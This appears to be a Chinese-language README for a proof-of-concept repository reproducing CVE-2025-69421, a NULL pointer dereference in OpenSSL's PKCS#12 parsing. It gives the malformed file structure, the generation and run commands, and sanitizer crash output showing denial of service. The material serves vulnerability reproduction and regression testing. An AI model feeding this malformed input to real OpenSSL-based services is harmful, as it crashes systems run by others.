本仓库包含一个最小的畸形 PKCS#12 文件,可在隔离的实验室环境中复现 CVE-2025-69421。
生成的 PFX 包含 EncryptedData,其 EncryptedContentInfo 省略了可选的 encryptedContent 字段。易受影响的 OpenSSL 版本可能会将 NULL ASN1_OCTET_STRING 指针从 PKCS12_unpack_p7encdata() 传递给 PKCS12_item_decrypt_d2i_ex(),而后者在未进行 NULL 检查的情况下解引用该指针。
此复现器仅演示拒绝服务(Denial-of-Service)条件,不执行代码,也不泄露信息。
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
运行 PoC 前先设置构建目录:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD 必须包含易受影响的 libcrypto.so.3 以及与之匹配的 apps/openssl 二进制文件。
仓库已包含预生成的文件。如需重新生成:
python3 generate.py
输出为:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
相关结构如下:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
使用辅助脚本:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
等效的手动命令:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
重要指标如下:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
已修复的 OpenSSL 构建应拒绝畸形输入,且不会触发 sanitizer 报告或进程崩溃。错误信息可能包含:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
请仅在您拥有或明确获授权测试的系统上使用此复现器。所包含的产物仅用于防御性验证和回归测试。